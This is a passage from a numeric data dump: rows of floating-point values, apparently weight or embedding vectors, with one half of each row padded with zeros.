-0.0099356, -0.0630575, -0.0184718, 0.0280977, 0.00362857, -0.00459446, -0.0362015, -0.0124707, 0.0181752, 0.0272537, -0.0461877, -0.0487282, -0.0165592, -0.00712986, 0.029685, -0.0326186, -0.00254999, 0.0156046, -0.064275, -0.0446, -0.000264249, -0.0218255, -0.00345348, 0.0344266, 0.0219693, -0.0425445, -0.0431754, 0.0107057, -0.0116229, -0.00737337, -0.0157754, -0.0280066, 0.0239074, -0.018499, 0.00321301, -0.0577624, -0.0430869, 0.00587409, -0.0300261, -0.0464783, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.00946261, -0.000878066, -0.00724784, 0.00128382, -0.0308494, 0.00545002, 0.00833522, -0.0405822, -0.0277478, 0.0210851, -0.00479282, 0.240435, 0.00912652, -0.109121, -0.0210224, 0.0207072, -0.00473425, -0.0164385, -0.0463846, -0.0161263, 0.00198378, -0.157564, 0.0168239, 0.0089638, 0.0244258, -0.512521, -0.00938777, -0.0217425, -0.0921979, 0.0273024, 0.0229045, 0.010818, 0.166007, -0.173612, -0.0255258, -0.0457149, -0.00198176, 0.042629, 0.186768, -0.0497858, 0.011329, 0.00140675, -0.0980111, 0.261711, -0.00198265, -0.0315169, 0.0853347, 0.0018318, -0.015957, -0.00714525, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.380604, 0.0841328, -0.519259, 0.221035, -0.0314347, -0.0443785, -0.39336, 0.412697, 0.374803, -0.0908413, -0.167054, 0.148748, -0.613538, -0.226631, -0.0117428, 0.0732906, -0.193454, 0.0654616, -0.142956, 0.210649, -0.134389, 0.617225, -0.407321, 0.0775375, -1.28519, 0.235311, 0.0952742, 0.232639, -0.0852682, -1.35294, 0.0747476, 0.166144, -0.0887432, 0.995692, 0.0736435, 0.513863, -0.069773, -0.252175, -0.222165, 0.320177, 0.156443, 0.109579, 0.216565, 0.200938, -0.0418583, -0.804368, -0.139753, -0.103767, -0.204509, 0.0197311, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.136005, 0.20034, -0.101075, -0.687406, 0.0271531, 0.16555, -0.0324725, 0.129544, 0.248515, -0.0345841, 0.117979, -0.296943, 0.31824, -0.0220199, 0.029128, -0.163663, 0.111241, 0.186877, 0.0667236, -0.240733, -0.227244, -0.272619, 0.623218, 0.268503, 0.0179749, 0.53403, -0.161574, -0.510255, -0.676364, -0.146027, -0.260196, 0.263039, 0.223355, -0.00195323, -0.479651, 0.397682, 0.218081, 0.330998, 0.0461111, -0.462469, 0.416799, 0.0302412, 0.12647, -0.00430614, 0.0293625, -0.532194, -0.363561, -0.684634, -1.27914, -0.671299, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1.28415, -0.490812, -0.00251809, -0.00876718, 0.0190347, 0.0635092, 0.00681765, -0.21745, -7.75255, -0.609527, 0.0149608, 0.414151, -0.00230672, -6.44818, -0.0197928, 0.501249, 0.266264, -0.413101, -0.00581982, -0.143282, -0.0211327, -0.361764, 0.0197965, -0.073784, 0.0451745, -1.51617, -0.02773, -0.654212, 0.087536, -0.433186, 0.0336153, 0.0562474, 0.450583, 1.12621, -0.0154374, 0.263548, -0.66651, 0.33573, 0.31961, -0.310426, -0.378994, -1.77398, -0.0239757, -0.234865, -0.012904, -0.182596, 0.32251, -0.0949955, 0.0835993, -0.0923392, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.175321, 0.0523682, -0.0232446, 0.0397127, -0.00837807, -0.0106725, -0.0450634, 0.0361985, 0.0439804, -0.0230232, -0.0569846, -0.0194386, 0.0654715, 0.0321133, -0.0377439, -0.00538123, -0.152281, 0.00666736, -0.00757697, 0.0623666, -0.0742952, -0.150606, -0.505416, 0.0217059, -0.0973542, 0.240271, -0.0141837, -0.348053, 0.121288, -0.15257, -0.114118, 0.117288, 0.0354851, -0.00955159, -0.0600127, 0.171275, 0.0444597, 0.0722808, -0.102898, -0.0803915, 0.078773, 0.000680585, 0.049611, 0.149331, 8.30137e-05, -0.283464, -0.0774486, -0.0601658, -0.285767, -0.133211, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.275502, 0.36988, -1.39825, 0.184547, 0.0211022, -0.543265, 0.69692, 0.112196, 0.357098, 0.237956, -0.0932204, 0.344638, -0.66912, 1.50394, -0.0162782, -0.536746, -0.885387, -0.369991, -0.0691433, -0.341007, 0.127366, -0.116153, 0.0923152, 0.165597, -0.360653, -0.123597, -0.244375, 1.57637, 0.947049, 0.098176, -0.000696894, -0.30286, 0.131947, 0.49279, -1.10448, -0.223568, -0.0370602, -2.01809, 0.232376, -0.103772, 0.00566246, 0.140295, 0.105025, -0.933658, -0.0494801, -0.824457, 0.97387, -1.12964, -0.312387, -0.0214394, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0398405, 0.0149568, 0.0328593, -0.0802777, -0.0160543, -0.218693, 0.0445522, -0.267337, -1.85708, 0.0143967, -0.256613, 0.618828, 0.127288, -0.322157, -0.00385051, 0.108001, -0.0105622, -0.00692112, 0.0872935, 0.130419, 0.0444823, 0.274483, -0.0675368, 0.00964325, -0.0420055, -0.647939, -0.119436, -0.0357716, -0.140593, -0.00767337, 0.121393, -0.0311123, -0.100246, -0.0200744, 0.114657, -0.0334559, -0.131061, 0.090795, 0.512882, -0.169429, 0.0619661, -0.0635106, 0.036654, 0.125712, -0.0032242, 0.0863373, 0.215903, 0.0852738, 0.0218813, 0.171773, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0790903, -0.0471559, -1.15226, -0.00108997, 0.0426595, 0.0370083, 0.126818, -0.021737, 0.127893, -0.302342, -0.123336, 0.0226466, 0.0428752, 0.0573649, -0.0157443, -0.377041, -0.0420852, -0.0703629, 0.0642434, 0.0347814, -0.00976415, -0.0445611, -0.0776852, 0.00207267, 0.00414794, -0.827416, -0.00600401, 0.0779882, 0.100559, 0.0996138, -0.0918187, 0.129357, 0.297191, 0.070461, -0.0570789, -0.0607248, -0.0587799, -0.315526, 0.101478, 0.0832163, -0.127081, -0.0144062, -0.0227022, -0.0795134, -0.0221458, -0.0255359, 0.176557, -0.0270609, 0.206408, 0.00263134, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0724497, 0.052569, -0.114585, 0.0127363, -0.0192939, 0.027318, 0.084559, 0.385937, -0.685217, 0.244022, -0.52081, -0.639626, 0.563766, 0.226517, -0.0152368, 0.300564, -0.177157, 0.210433, 0.178142, -0.945202, -0.879433, 0.730889, 0.0273227, -0.171621, -1.22689, 1.87149, -0.177423, 0.670083, -1.38556, 0.0979198, -0.312183, 0.352542, -1.00121, -0.646384, 0.325841, 0.142592, 0.353512, 0.294195, 0.123684, -0.311106, 0.0852265, 0.170865, 0.309069, -0.0391449, -0.0336865, -1.26867, -1.08231, 0.0442388, 0.457476, -0.232597, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.694953, -0.2335, -0.165114, 0.0531319, 0.0139004, 0.00993819, 0.00873095, 0.0174259, -0.220338, -0.0169726, -0.1126, 0.0932211, -0.121824, -0.0500147, 0.0462112, 0.215895, 0.00916738, -0.138507, -0.162239, -0.146003, -0.0101831, -0.290982, -0.0247839, -0.093627, -0.0881688, -5.44274, -0.0862839, 0.215055, 0.0429007, -0.0273349, -0.0319097, -0.0171594, 0.152628, -7.05774, -0.0698796, -0.0697397, 0.0710557, 0.297065, -0.0909402, -0.0674705, 0.028567, -0.00088799, -0.0696689, 0.178176, 0.0257489, -0.171865, -0.161983, -0.0920352, -0.0129741, -0.0837197, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.196925, -0.0552959, -0.012004, -0.0036338, -0.0259913, 0.0070979, 0.0924583, 0.21709, -0.154246, 0.03671, -0.0662949, -0.0477202, 0.0851003, -0.134117, -0.00582095, 0.0633865, 0.0456313, -0.0267971, 0.0620327, -0.24721, -0.0446832, 0.131243, -0.0748677, -0.0110712, 0.0691539, 0.703555, 0.016137, 1.0788, -0.0685259, -0.0719641, 0.0729291, 0.0930011, 0.346578, 0.062886, -0.154415, 0.00452967, 0.139738, 0.201923, 0.230399, -0.357914, -0.0774218, 0.0859023, 0.110357, -0.0171137, -0.00579454, -0.243459, -0.0301698, -0.154304, -0.0975562, 0.0143189, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.14, -0.02394, -0.04007, -0.00364, 0.0167, -0.042, -0.05585, -0.02911, 0.2007, 0.2515, -0.1278, 0.2115, -2.316, 0.1782, 0.01744, 0.1791, -0.2473, -0.3147, -0.4695, -0.0804, 0.03482, 0.2313, 0.07196, -0.02615, -0.0713, 0.6274, -4.164, 1.476, -0.2502, -2.088, -0.3875, -0.3652, -0.1381, -1.501, -0.06274, 0.2015, 0.00565, 0.2764, 1.15, -0.4812, -0.03406, 0.03026, -0.8335, -0.2773, 0.01994, -0.11224, -1.273, 0.0567, -0.9126, -0.4368], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.122, -0.0788, 0.4126, -0.3237, -0.01717, 0.041, -0.9136, -0.4895, 0.3052, -1.356, -0.07135, 0.5396, -0.802, 0.1609, 0.02795, -0.0854, -1.252, 0.1967, 0.325, -0.3176, 0.1327, 0.401, 0.0471, 0.0668, -0.6885, -0.5347, -0.9883, -1.9375, -0.283, -0.434, -1.556, 0.454, -0.456, 0.7485, 0.4558, 0.2593, 0.3867, -2.293, -0.227, 3.256, -0.4377, 0.1967, -0.1438, -0.1157, -0.0406, -0.1251, -0.5405, 0.2166, 0.353, -0.2161], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1189, -0.02943, -0.09454, -0.05893, 0.01513, -0.010345, 0.02658, -0.2747, 0.1665, -0.1862, -0.1024, 0.1505, 0.1804, 0.1691, -0.05115, -0.1313, -0.06976, -0.01353, 0.02257, -0.1364, -0.07745, 0.0871, -0.1989, 0.0264, -0.0879, 0.33, -0.001781, -0.1453, 0.2524, -0.013, -0.0751, -0.02322, 0.2834, 0.00798, -0.006702, 0.1926, 0.0334, 0.1378, 0.01947, 0.01218, -0.0172, 0.01226, 0.11035, 0.0419, 0.0401, -0.3535, -0.1389, -0.1132, -0.1525, -0.2286], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.341, -0.0813, 0.4175, -0.3381, 0.0336, 0.04138, -0.8975, -0.443, 0.2356, 0.5796, -0.07306, 0.4766, -0.7607, 0.1675, 0.04312, -0.02861, -1.282, 0.2031, 0.309, -0.2988, 0.1407, 0.768, 0.0707, 0.0585, -0.771, 2.334, -0.714, -1.476, -0.325, -0.4426, -1.483, 0.3982, -0.49, 0.7646, 0.4624, 0.2703, 0.4016, -0.8276, -0.2722, 1.575, -0.4426, 0.2056, -0.1847, -0.1674, -0.0183, -0.1337, -0.643, 0.214, 0.3672, -0.2147], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.352, 0.02858, 0.0128, 0.00534, -0.03622, 0.001194, -0.01184, -0.05225, -0.1186, -0.1344, -0.005806, 0.0178, -0.0838, -0.02661, -0.028, -0.04614, -0.07117, 0.005196, -0.04984, 0.00974, -0.000674, -0.1282, 0.01006, 0.0112, 0.01747, -0.1967, -0.0382, 0.763, -0.0765, -0.03134, 0.010185, 0.03894, -0.01418, 0.1421, 0.00773, -0.0747, -0.0092, 0.073, -0.01689, -0.2969, 0.031, 0.00613, 0.01382, 0.05838, -0.0159, -0.006824, -0.04517, 0.0233, 0.005764, -0.013725], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.02953, -0.2131, -0.9746, -0.0471, -0.02509, -0.0401, 0.01593, 0.0427, -0.004562, -0.00946, -0.03305, -0.0857, 0.003174, 0.0535, -0.00843, -0.1185, -0.0185, 0.013565, -0.05862, 0.00425, -0.00672, -0.03235, -0.0253, -0.0589, -0.05222, 0.1332, 0.03833, 0.1553, 0.1586, 0.02843, -0.0155, -0.1488, 0.068, 0.15, 0.02722, 0.04626, 0.01567, -0.02963, -0.1273, 0.007793, 0.01167, -0.0054, 0.0761, 0.0162, 0.02081, -0.0168, 0.01033, -0.00854, 0.10846, -0.1652], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1719, -0.251, -0.1029, -0.662, -0.007236, -0.0451, 0.12036, -0.2698, 0.04733, -0.538, 0.3914, -1.187, 0.4453, 0.4993, 0.03543, 0.09064, -1.26, 0.016, -0.129, -0.2212, -0.1729, 0.014404, -0.36, 0.1294, 0.119, -0.05, -0.3828, -0.4126, -0.3494, -0.0714, 0.01591, 0.06744, 0.1406, -0.2496, 0.0853, 0.1688, 0.2098, -0.0743, 0.1931, -0.4072, 0.000899, 0.1346, 0.5786, -1.08, 0.04996, -1.21, -0.2854, 0.2117, 0.299, -0.6235], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.1703, -0.09796, 0.0496, -0.01712, 0.01868, -0.02269, 0.1646, -0.1112, 0.3533, -0.0757, -0.0427, 0.02148, -0.0932, -0.02925, 0.000375, 0.06934, -0.02985, 0.02245, -0.02016, -0.0663, -0.03111, 0.349, 0.031, 0.05322, 0.1772, 0.1192, 0.02179, -0.6245, -0.01897, 0.006523, -0.1476, -0.01855, 0.09503, -0.175, -0.006706, -0.1725, 0.0013485, 0.1633, -0.3079, 0.03586, -0.0639, 0.007103, -0.2494, 0.2211, 0.0269, -0.1484, 0.05383, 0.001282, 0.202, 0.02423], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.1918, -0.003538, -0.03986, -0.0047, -0.02397, -0.04147, 0.05374, 0.266, 0.0931, 0.01171, -0.0877, 0.10223, -0.01082, 0.006382, -0.02083, -0.05853, -0.01253, -0.02806, -0.2744, -0.1368, -0.0378, 0.2522, -0.006058, 0.01464, 0.01531, 0.2837, 0.0358, 0.788, 0.05066, -0.01772, -0.009834, 0.02864, 0.2169, 0.1785, -0.10455, 0.1068, 0.02896, 0.09985, 0.0446, -0.2294, -0.01837, 0.00617, 0.05786, 0.094, -0.02573, -0.1973, 0.0715, -0.034, -0.1001, 0.001959], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.03796, -0.1208, 0.05453, -0.1222, 0.01109, -0.359, 0.1465, 0.1342, 0.6357, -0.2306, 0.01808, 0.6616, -0.2094, 0.1752, 0.02666, -0.1636, -0.10583, -0.06396, -0.2173, -0.2126, -0.01477, -0.005592, -0.1146, -0.1537, 0.2632, 0.09467, 0.03995, 0.663, 0.5083, 0.2131, 0.1131, -0.1108, 0.328, -0.4292, 0.2137, 0.02483, 0.1022, 0.05664, 0.415, 0.2291, -0.09326, -0.06122, -0.0757, 0.1339, 0.003391, -0.2952, 0.2013, -0.04715, 0.1026, -0.02998], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.8813, -4.8, -0.7524, -0.748, 0.04758, 0.07465, 2.04, -0.923, -4.066, -2.059, -1.792, -12.805, -5.047, -0.3752, -0.04532, -2.832, -8.7, -3.576, -2.637, 0.9775, -3.604, -2.908, -0.911, -0.4055, -6.902, -0.826, -6.22, 0.03452, -1.526, -1.933, -1.424, 0.4912, -0.6895, -0.03613, 0.2051, -4.867, 2.352, -2.732, -6.223, -8.266, -1.237, 0.305, 0.2725, -1.137, -0.02422, -0.8945, -1.883, 0.2317, -0.0781, -10.766], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.2307, 0.03195, 0.1071, -0.3315, -0.04633, -0.10565, -0.1837, -0.0326, -0.8706, -0.3677, -0.378, -0.4429, 0.5254, -0.1522, -0.000361, 0.07855, -0.6445, -0.002394, -0.347, -0.2429, 0.0616, 0.1884, -0.6597, -0.2223, -0.3967, 1.172, -0.547, 0.573, 0.1309, -0.704, -0.2163, -0.2463, 0.8286, -2.201, -0.2417, 0.052, 0.03992, 1.002, 0.1473, 0.9126, -0.1121, 0.0809, 0.2795, 0.133, 0.04077, -0.1926, -0.4758, 0.1406, -0.7188, -0.3374], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.3303, -0.171, -0.3323, -0.08795, 0.02069, -0.2041, 0.05524, 0.202, 0.4482, -0.04764, -0.7354, 0.4636, 0.2998, -5.344, -0.01092, -0.4644, 0.03204, -0.3853, -2.158, -0.1008, 0.1426, 0.1768, -0.2476, 0.0747, 0.00759, -4.06, 0.05783, 0.1122, 0.3916, -0.3882, -0.2834, 0.01243, 0.3152, 0.1523, -0.03754, 0.695, -0.2349, -0.02068, -0.6353, 0.2812, -0.09247, 0.1572, 0.1088, -0.1152, -0.04837, -0.03607, -0.0633, -0.02441, 0.03784, -0.3545], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.483, 0.05475, -0.4011, -0.01918, 0.02434, -0.1031, -0.1636, 0.1259, 0.07764, 0.05646, -0.1302, 0.2708, -0.0035, -0.1886, 0.005966, 0.06097, -0.2842, -0.05634, 0.0772, 0.06143, -0.0413, -0.2805, -0.1274, -0.2286, -0.1129, -0.728, -0.0797, 0.2888, 0.2386, -0.001522, 0.0964, -0.008194, 0.08606, -0.708, 0.04346, 0.1099, 0.0605, 0.06247, 0.1866, 0.269, 0.01791, 0.012726, 0.04462, 0.01546, -0.03062, -0.09235, 0.1477, -0.01234, -0.063, -0.1353], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.1892, -0.00941, 0.00104, 0.0079, 0.009384, -0.08057, 0.0606, -0.0578, 0.05023, -0.02524, -0.02684, 0.2081, -0.009254, -0.02911, -0.01448, 0.06854, 0.01569, -0.0732, 0.06036, -0.06683, -0.04193, -0.11163, -0.05487, 0.04953, -0.1492, -0.803, 0.0003498, -0.478, 0.0827, 0.00963, 0.01252, -0.03235, 0.02563, 0.1293, 0.004368, -0.03958, -0.00851, -0.1885, 0.323, -0.04678, -0.05353, -0.02339, 0.06018, 0.2773, -0.00936, 0.0308, 0.1356, -0.05557, -0.06003, -0.05423], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 